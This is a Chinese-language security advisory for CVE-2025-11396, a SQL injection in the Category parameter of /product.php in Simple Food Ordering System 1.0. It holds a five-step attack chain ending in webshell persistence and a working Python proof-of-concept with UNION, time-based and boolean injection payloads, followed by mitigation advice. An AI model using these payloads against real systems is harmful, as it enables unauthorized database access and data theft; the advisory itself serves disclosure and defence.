IPBUF安全漏洞报告
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CVE-2025-11396 CVSS 7.3 高危

CVE-2025-11396:Simple Food Ordering System SQL注入漏洞

披露日期: 2025-10-07

漏洞信息

漏洞编号
CVE-2025-11396
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
code-projects Simple Food Ordering System

相关标签

SQL注入CVE-2025-11396Simple Food Ordering Systemcode-projects高危漏洞Web应用漏洞product.phpCategory参数远程利用无需认证

漏洞概述

CVE-2025-11396是code-projects公司开发的Simple Food Ordering System(简易食品订购系统)1.0版本中存在的一个高危SQL注入漏洞。该漏洞于2025年10月7日被公开披露,由vuldb.com的安全研究人员发现并报告。Simple Food Ordering System是一款用于管理食品订购业务流程的Web应用程序,提供了产品展示、分类管理、订单处理等功能。

该漏洞存在于应用程序的/product.php文件中,具体位于对Category参数的处理逻辑中。由于开发者未对用户输入的Category参数进行充分的过滤和参数化处理,攻击者可以通过构造恶意的SQL语句片段,将其注入到原本的数据库查询中,从而实现对后端数据库的未授权访问和操作。

根据CVSS 3.1评分标准,该漏洞的综合评分为7.3分,属于高危级别。漏洞的攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需任何特权(PR:N),无需用户交互(UI:N),对机密性、完整性和可用性均存在低程度的影响(C:L/I:L/A:L)。这意味着该漏洞可以被远程攻击者轻易利用,且不需要任何身份认证或用户配合。由于漏洞的利用代码已经公开,潜在的安全风险较高,可能导致大量部署了该系统的Web服务器遭受攻击。

技术细节

该SQL注入漏洞的根本原因在于/product.php文件中对Category参数的处理缺乏安全防护。开发者很可能直接将用户提交的Category参数拼接到SQL查询语句中,而未采用预编译参数化查询(Prepared Statements)或输入验证机制。

漏洞利用的技术原理如下:

1. 攻击者通过HTTP请求向/product.php端点发送包含恶意SQL片段的Category参数。
2. 由于缺乏输入过滤和参数化处理,恶意SQL代码被直接拼接到后端数据库查询语句中。
3. 数据库引擎执行被注入的恶意SQL语句,攻击者可以绕过正常的查询逻辑。

利用方式方面,攻击者可以使用经典的SQL注入技术,如:
- 使用UNION SELECT语句提取数据库中的敏感信息(如管理员凭据、用户数据等);
- 使用OR 1=1等永真条件绕过身份验证;
- 使用时间盲注(time-based blind injection)技术如SLEEP()函数进行数据提取;
- 利用堆叠查询(stacked queries)执行INSERT、UPDATE、DELETE等数据修改操作;
- 在某些配置环境下,利用LOAD_FILE()或INTO OUTFILE等MySQL函数进行文件读写操作。

由于该漏洞无需认证即可远程利用,且公开的PoC已经存在,任何具备基本SQL注入知识的攻击者都可以快速复现和利用该漏洞,对部署了该系统的服务器构成严重威胁。

攻击链分析

STEP 1
步骤1:目标侦察
攻击者使用搜索引擎(如Shodan、Google Dorks)或扫描工具识别部署了Simple Food Ordering System 1.0的Web服务器,确定目标系统的/product.php端点。
STEP 2
步骤2:漏洞探测
攻击者向/product.php发送包含特殊字符(如单引号')的Category参数,观察响应内容或服务器行为,判断是否存在SQL注入漏洞。
STEP 3
步骤3:注入Payload构造
攻击者根据数据库类型(推测为MySQL)构造相应的SQL注入Payload,包括UNION联合查询、时间盲注或布尔盲注等技术。
STEP 4
步骤4:数据提取
通过构造的注入Payload,攻击者逐步提取数据库中的敏感信息,包括管理员账户、密码哈希、用户个人信息等。
STEP 5
步骤5:权限提升与持久化
利用获取的管理员凭据登录系统后台,或通过SQL注入写入Webshell,实现对服务器的进一步控制和数据窃取。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11396 - Simple Food Ordering System SQL Injection PoC # Target: /product.php # Vulnerable Parameter: Category # Method: GET import requests import sys TARGET_URL = "http://target.com/product.php" # Basic SQL Injection payload to test the vulnerability def test_sql_injection(target_url): """Test for SQL injection in the Category parameter""" # Payload 1: Basic error-based detection payload_error = "1' OR '1'='1" # Payload 2: UNION-based injection to extract data payload_union = ( "1' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -" ) # Payload 3: Time-based blind injection payload_time = "1' AND SLEEP(5)-- -" # Payload 4: Boolean-based blind injection payload_boolean = "1' AND 1=1-- -" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded" } print(f"[*] Testing SQL injection on: {target_url}") print(f"[*] Vulnerable parameter: Category") # Test with error-based payload params = {"Category": payload_error} try: response = requests.get(target_url, params=params, headers=headers, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") if "error" in response.text.lower() or "syntax" in response.text.lower(): print("[!] Possible SQL injection detected (error-based)") # Check for time-based injection import time start_time = time.time() params_time = {"Category": payload_time} response_time = requests.get(target_url, params=params_time, headers=headers, timeout=15) elapsed = time.time() - start_time if elapsed >= 5: print(f"[!] Time-based SQL injection confirmed (delay: {elapsed:.2f}s)") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") # Example usage: # python exploit.py http://vulnerable-site.com if __name__ == "__main__": if len(sys.argv) > 1: test_sql_injection(sys.argv[1]) else: test_sql_injection(TARGET_URL)

影响范围

code-projects Simple Food Ordering System 1.0

防御指南

临时缓解措施
在官方发布修复补丁之前,建议采取以下临时缓解措施:1)通过Web应用防火墙(WAF)部署SQL注入防护规则,拦截包含常见SQL注入特征的请求;2)修改/product.php文件,对Category参数进行严格的输入过滤,仅允许字母数字和特定安全字符;3)将数据库查询改为预编译参数化查询;4)限制/product.php端点的访问权限,仅允许可信IP访问;5)监控数据库日志,及时发现异常的SQL查询行为;6)备份重要数据以防数据被篡改或删除。

参考链接

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